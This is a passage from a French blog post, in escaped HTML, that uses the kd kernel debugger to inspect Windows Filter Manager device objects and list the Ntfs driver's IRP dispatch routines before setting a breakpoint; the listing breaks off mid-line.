&lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Driver object (8152e670) is for:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;\FileSystem\C4lim3r0&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Driver Extension List: (id , addr)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device Object list:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !drvobj \FileSystem\FltMgr&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Driver object (8179b428) is for:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;\FileSystem\FltMgr&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Driver Extension List: (id , addr)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device Object list:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;8148ceb0  8148d220  8148d390  8148d4c8&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;8148d748  8148dcc0  8179aa60  8179af18&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !devobj 8148ceb0&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device object (8148ceb0) is for:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;\FileSystem\FltMgr DriverObject 8179b428&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Current Irp 00000000 RefCount 0 Type 00000003 Flags 00000010&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;DevExt 8148cf68 DevObjExt 8148cfd0 &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ExtensionFlags (0000000000)  &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;AttachedTo (Lower) 817eb0d8 \FileSystem\RAW&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device queue is not busy.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !devobj 8148d220&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device object (8148d220) is for:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;\FileSystem\FltMgr DriverObject 8179b428&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Current Irp 00000000 RefCount 0 Type 00000008 Flags 00000010&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;DevExt 8148d2d8 DevObjExt 8148d340 &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ExtensionFlags (0000000000)  &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;AttachedTo (Lower) 817eb1f0 \FileSystem\RAW&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device queue is not busy.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !devobj 8148d390&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device object (8148d390) is for:&lt;/span&gt;&lt;/span&gt; &lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;\FileSystem\FltMgr DriverObject 8179b428&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Current Irp 00000000 RefCount 0 Type 00000008 Flags 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;DevExt 8148d448 DevObjExt 8148d478 &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ExtensionFlags (0000000000)  &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;AttachedTo (Lower) 817307e8 \FileSystem\sr&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device queue is not busy.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !devobj 8148d4c8&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device object (8148d4c8) is for:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;\FileSystem\FltMgr DriverObject 8179b428&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Current Irp 00000000 RefCount 0 Type 00000008 Flags 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;DevExt 8148d580 DevObjExt 8148d5d8 &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ExtensionFlags (0000000000)  &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;AttachedTo (Lower) 817619b8 \FileSystem\sr&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device queue is not busy.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !devobj 8148d748&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device object (8148d748) is for:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;\FileSystem\FltMgr DriverObject 8179b428&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Current Irp 00000000 RefCount 0 Type 00000003 Flags 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;DevExt 8148d800 DevObjExt 8148d858 &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ExtensionFlags (0000000000)  &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;AttachedTo (Lower) 81600140 \FileSystem\Cdfs&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device queue is not busy.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !devobj 8148dcc0&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device object (8148dcc0) is for:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;  &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;\FileSystem\FltMgr DriverObject 8179b428&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Current Irp 00000000 RefCount 0 Type 00000014 Flags 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;DevExt 8148dd78 DevObjExt 8148dda8 &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ExtensionFlags (0000000000)  &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;AttachedTo (Lower) 8160c030 \FileSystem\MRxSmb&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device queue is not busy.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !devobj 8179aa60&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device object (8179aa60) is for:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FltMgrMsg \FileSystem\FltMgr DriverObject 8179b428&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Current Irp 00000000 RefCount 0 Type 00000040 Flags 00000040&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Dacl e12a0634 DevExt 00000000 DevObjExt 8179ab18 &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ExtensionFlags (0000000000)  &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device queue is not busy.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !devobj 8179af18&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device object (8179af18) is for:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FltMgr \FileSystem\FltMgr DriverObject 8179b428&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Current Irp 00000000 RefCount 0 Type 00000008 Flags 00000040&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Dacl e12b1d1c DevExt 00000000 DevObjExt 8179afd0 &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ExtensionFlags (0000000000)  &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Device queue is not busy.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Le filter manager va donc créer des FiDOs dans le but d'intercepter les IRPs destinées au driver gérant le filesystem (voir dump kd).&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R-T1hs3ybSI/AAAAAAAAAGs/Ngx_JnwIhFA/s1600-h/minifilter.png"&gt;&lt;img style="cursor: pointer;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R-T1hs3ybSI/AAAAAAAAAGs/Ngx_JnwIhFA/s400/minifilter.png" alt="" id="BLOGGER_PHOTO_ID_5180535430712552738" border="0" /&gt;&lt;/a&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0cm;"&gt;En parcourant le log nous voyons bien que des devices sont attachés aux autres filesystem devices.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;A présent nous allons poser un breakpoint sur la routine qui gere notre IRP au niveau du driver \FileSystem\Ntfs.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Pour cela nous allons utiliser le kd et là fonction « !drvobj DriverObject [Flag]»&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Je cite :  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;The &lt;b&gt;!drvobj&lt;/b&gt; extension displays detailed information about a DRIVER_OBJECT.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[..]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;DriverObject&lt;/i&gt; &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Specifies the driver object. In Windows NT 4.0, this must be the hexadecimal address of the DRIVER_OBJECT structure. In Windows 2000 and later, this can be the hexadecimal address of the DRIVER_OBJECT structure or the name of the driver. &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;Flags&lt;/i&gt; &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;&lt;i&gt;(Windows 2000 and later)&lt;/i&gt; Can be any combination of the following bits. (The default is 0x01.) &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt; Bit 0 (0x1) &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Causes the display to include device objects owned by the driver. &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt; Bit 1 (0x2) &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Causes the display to include entry points for the driver's dispatch routines. &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt; Bit 2 (0x4) &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Lists with detailed information the device objects owned by the driver (requires bit 0). &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Nous allons donc énumérez les adresses des « dispatch routines » gérant les différentes IRPs.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !drvobj \FileSystem\Ntfs 2 &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Driver object (817a3308) is for:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;\FileSystem\Ntfs&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;DriverEntry:   f9924184 Ntfs&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;DriverStartIo: 00000000 &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;DriverUnload:  00000000 &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;AddDevice:     00000000 &lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Dispatch routines:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[00] IRP_MJ_CREATE                      f98c4c01 Ntfs+0x25c01&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[01] IRP_MJ_CREATE_NAMED_PIPE           805025e4 nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[02] IRP_MJ_CLOSE                       f98c40ea Ntfs+0x250ea&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[03] IRP_MJ_READ                        f98a1f3b Ntfs+0x2f3b&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[04] IRP_MJ_WRITE                       f98a0b57 Ntfs+0x1b57&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[05] IRP_MJ_QUERY_INFORMATION           f98c52b9 Ntfs+0x262b9&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[06] IRP_MJ_SET_INFORMATION             f98a2618 Ntfs+0x3618&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[07] IRP_MJ_QUERY_EA                    f98c52b9 Ntfs+0x262b9&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[08] IRP_MJ_SET_EA                      f98c52b9 Ntfs+0x262b9&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[09] IRP_MJ_FLUSH_BUFFERS               f98deec8 Ntfs+0x3fec8&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    f98c5404 Ntfs+0x26404&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[0b] IRP_MJ_SET_VOLUME_INFORMATION      f98c5404 Ntfs+0x26404&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[0c] IRP_MJ_DIRECTORY_CONTROL           f98c6fbd Ntfs+0x27fbd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[0d] IRP_MJ_FILE_SYSTEM_CONTROL         f98c9758 Ntfs+0x2a758&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[0e] IRP_MJ_DEVICE_CONTROL              f98c5404 Ntfs+0x26404&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     805025e4 nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[10] IRP_MJ_SHUTDOWN                    f98b35af 